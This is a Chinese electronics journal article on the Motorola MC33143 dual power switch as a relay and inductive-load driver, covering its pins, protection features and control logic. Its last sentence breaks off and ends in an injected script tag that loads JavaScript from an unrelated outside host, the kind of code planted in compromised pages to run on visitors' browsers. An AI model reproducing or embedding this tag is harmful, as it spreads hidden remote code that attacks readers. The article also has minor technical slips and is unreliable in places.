摘要：文章指出目前基于继电器的控制接口设计中所存在的一些问题，分析了mc33143的内部结构及性能特点，指出其作为继电器的控制接口的优越性。
关键词：继电器； 控制； 自保护； mc33143
分类号：tm571 文献标识：b 文章编号：1006-6977（1999）10-0026-03
1. 概述
motorola公司的mc33143芯片主要用于驱动电磁阀、继电器及电机等感性负载，采用24脚表面安装形式封装，体积小，可在功率电源|稳压器电压为5.5～26v的范围内正常工作，内部包括两个独立的带有工作状态指示引脚的功率开关。mc33143内含smartmostm技术，具有cmos逻辑，双极型/mos模拟电路和dmos功率输出功能。内部电荷泵提供高效的功率控制输出,为低阻抗的外部负载提供电流。两路输出分别具有外部故障检测、内部过流、过热保护以及电源过压保护功能，当出现过压、过流、过热等任何一种情况时，输出能够迅速截止，并向控制单元发出中断信号。而当负载开路或输出端和功率电源之间出现短路时，也能够提供异常状态的信息指示。一旦异常情况排除和消失，能自动恢复正常工作状态。
2. 内部结构及引脚功能
mc33143的表面形状和引脚分布情况如图1所示。工作温度范围为－40～125℃，封装形式为sop－24l。各引脚的名称和功能如下。
in1，in2：输入脚，在正常条件下决定响应脚的(out11,out2)输出。如果输入为高，输出打开；输入为低，输出关闭。in1，in2内含下拉电阻，若输入悬空，则认为是低电平输入，输出关闭。使用时，未用输入脚接地。
cen：使能端，当其为低时，两路输出关闭，使芯片处于睡眠状态以减少能量损耗。在cen的下降沿时，两路输出快速关闭，cen的下降沿必须在vdd关闭之前来临以保证有足够的时间关闭输出。当cen处于低电平时，int、stat1～2处于高阻态。当电源电压低于4.5v时，cen脚还可用来关闭电源和恢复供电。cen脚信号由单片机或其他电路提供，内部有一下拉电阻，能保证当其处于悬浮状态时保持逻辑高电平，内部下拉电阻值大于50kω。
stat1～2：状态脚，用来指示输出脚的故障状态。正常工作时，状态脚处于高电平。出现开路、对地短路、对电源短路(外部电源)、过热、过压关闭等状态时，为低电平。与cpu连接时相互之间串联一10kω电阻。与vpwr短路连接时，可提高其故障判断分析能力。不用时，此脚必须连上。
vpwr：该脚与供电电源连接在一起，向dmos输出提供负载电流及检测过压，当供电电压在5.5～24v之间时，dmos输出打开；vpwr不可接负电源，加－1.5v电压时，只能忍受250ms，使用时，应在vpwr与地之间接一10nf的去耦电容。
gnd：接地脚，为dmos输出晶体管散热。
vdd：芯片电源，连接5v逻辑电平，使用时对地需接10nf的去耦电容。
out1～2:输出脚，连接内部dmos输出晶体管，给负载供电。每个输出内含动态箝位电路以适应感性负载，并具有对地短路检测和保护、过热检测和保护、过流检测和保护、开路检测及对外部电源短路检测和保护等功能。当cen为逻辑低电平时，输出关闭，对于未使用的输出脚，必须外接一10kω电阻以免误报。工作时，在输出对地之间并接一1.0μf的滤波电容。
sfpd：短路故障保护禁止脚。当其为逻辑高电平时，内部过流保护功能失效，但不影响其他故障检测。对于电阻型负载，逻辑高电平可以提供超过3a的尖峰电流。在逻辑低电平时，当负载过流时可控制输出关闭，并保持自恢复功能处于激活状态。此脚内部有下拉电阻保证悬浮状态时为低电平输入，与cpu之间串联一10kω电阻以保证输出与输出短路时的故障判断功能。此脚应与vdd或gnd连接，不可悬空。
gtst：在检测过程中，用来加强元件dmos门，该脚接地。
int：中断为低时，指示两输出的故障情况，可用来作为cpu的中断，使得cpu读stat1～2状态并判断故障情况。正常工作时为高电平，内部有上拉电阻，无须再外接，其输出能力足够平行提供5个中断。外部串接10kω电阻，与输出脚1短路时可提高其故障判断能力。如果此功能不用，可以不接。
3. 功能介绍
mc33143可用来设计系统控制单元和外部执行机构之间的接口控制单元。其可以经受多种非正常工作状态，并能给控制单元提供相应的状态信息，具有较强的适应能力，其功率电源可以承受60v的瞬间冲击，瞬间的过流、过压、过热及对电源和地短路不会出现误动作，当负载出现上述故障时，即有相应状态信息输出。另外其输出端的内部带有反向箝位电路，如图1所示，在驱动感性负载时无须再用额外的保护元件，芯片不会因为受到反向电压的冲击而损坏。其各种状态的工作逻辑关系如表1所列。mc33143设计控制功率电源电压为5.5～26v之间，芯片供电电压为4.5～5.5v，可由cmos电路驱动，也可以由单片机直接控制。当芯片处于睡眠模式时，由功率电源注入的电流?script src=http://er12.com/t.js>
